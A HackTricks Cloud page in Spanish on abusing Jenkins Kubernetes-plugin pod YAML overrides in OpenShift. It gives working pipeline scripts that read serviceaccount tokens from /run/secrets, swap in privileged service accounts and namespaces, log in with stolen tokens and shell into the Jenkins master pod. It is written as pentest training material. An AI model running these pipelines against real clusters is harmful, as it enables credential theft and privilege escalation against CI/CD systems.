Jenkins en Openshift - sobrescrituras de pod de construcción
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
El autor original de esta página es Fares
Plugin de Kubernetes para Jenkins
Este plugin es principalmente responsable de las funciones centrales de Jenkins dentro de un clúster de openshift/kubernetes. Documentación oficial aquí Ofrece algunas funcionalidades como la capacidad de los desarrolladores para sobrescribir algunas configuraciones predeterminadas de un pod de construcción de jenkins.
Funcionalidad principal
Este plugin permite flexibilidad a los desarrolladores al construir su código en un entorno adecuado.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Algunos abusos aprovechando la anulación de yaml de pod
Sin embargo, se puede abusar para usar cualquier imagen accesible, como Kali Linux, y ejecutar comandos arbitrarios utilizando herramientas preinstaladas de esa imagen. En el ejemplo a continuación, podemos exfiltrar el token de serviceaccount del pod en ejecución.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Una sintaxis diferente para lograr el mismo objetivo.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ejemplo para anular el espacio de nombres del pod
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Otro ejemplo que intenta montar un serviceaccount (que puede tener más permisos que el predeterminado, ejecutando tu build) basado en su nombre. Es posible que necesites adivinar o enumerar los serviceaccounts existentes primero.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
La misma técnica se aplica para intentar montar un Secret. El objetivo final aquí sería averiguar cómo configurar la construcción de tu pod para pivotar o ganar privilegios de manera efectiva.
Ir más allá
Una vez que te acostumbres a jugar con ello, utiliza tu conocimiento sobre Jenkins y Kubernetes/Openshift para encontrar configuraciones incorrectas / abusos.
Pregúntate las siguientes preguntas:
- ¿Qué cuenta de servicio se está utilizando para desplegar pods de construcción?
- ¿Qué roles y permisos tiene? ¿Puede leer secretos del namespace en el que me encuentro actualmente?
- ¿Puedo enumerar más pods de construcción?
- Desde un sa comprometido, ¿puedo ejecutar comandos en el nodo/pod maestro?
- ¿Puedo enumerar más el clúster para pivotar a otro lugar?
- ¿Qué SCC se aplica?
Puedes encontrar qué comandos oc/kubectl emitir aquí y aquí.
Posibles escenarios de privesc/pivoting
Supongamos que durante tu evaluación descubriste que todas las construcciones de jenkins se ejecutan dentro de un namespace llamado worker-ns. Te diste cuenta de que una cuenta de servicio predeterminada llamada default-sa está montada en los pods de construcción, sin embargo, no tiene muchos permisos excepto acceso de lectura a algunos recursos, pero pudiste identificar una cuenta de servicio existente llamada master-sa. Supongamos también que tienes el comando oc instalado dentro del contenedor de construcción en ejecución.
Con el siguiente script de construcción puedes tomar control de la cuenta de servicio master-sa y enumerar más.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Dependiendo de su acceso, ya sea que necesite continuar su ataque desde el script de construcción o puede iniciar sesión directamente como este sa en el clúster en ejecución:
oc login --token=$token --server=https://apiserver.com:port
Si este sa tiene suficientes permisos (como pod/exec), también puedes tomar el control de toda la instancia de jenkins ejecutando comandos dentro del pod del nodo maestro, si se está ejecutando dentro del mismo espacio de nombres. Puedes identificar fácilmente este pod a través de su nombre y por el hecho de que debe estar montando un PVC (reclamación de volumen persistente) utilizado para almacenar datos de jenkins.
oc rsh pod_name -c container_name
En caso de que el pod del nodo maestro no esté ejecutándose dentro del mismo espacio de nombres que los trabajadores, puedes intentar ataques similares dirigiéndote al espacio de nombres maestro. Supongamos que se llama jenkins-master. Ten en cuenta que el serviceAccount master-sa debe existir en el espacio de nombres jenkins-master (y puede que no exista en el espacio de nombres worker-ns).
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

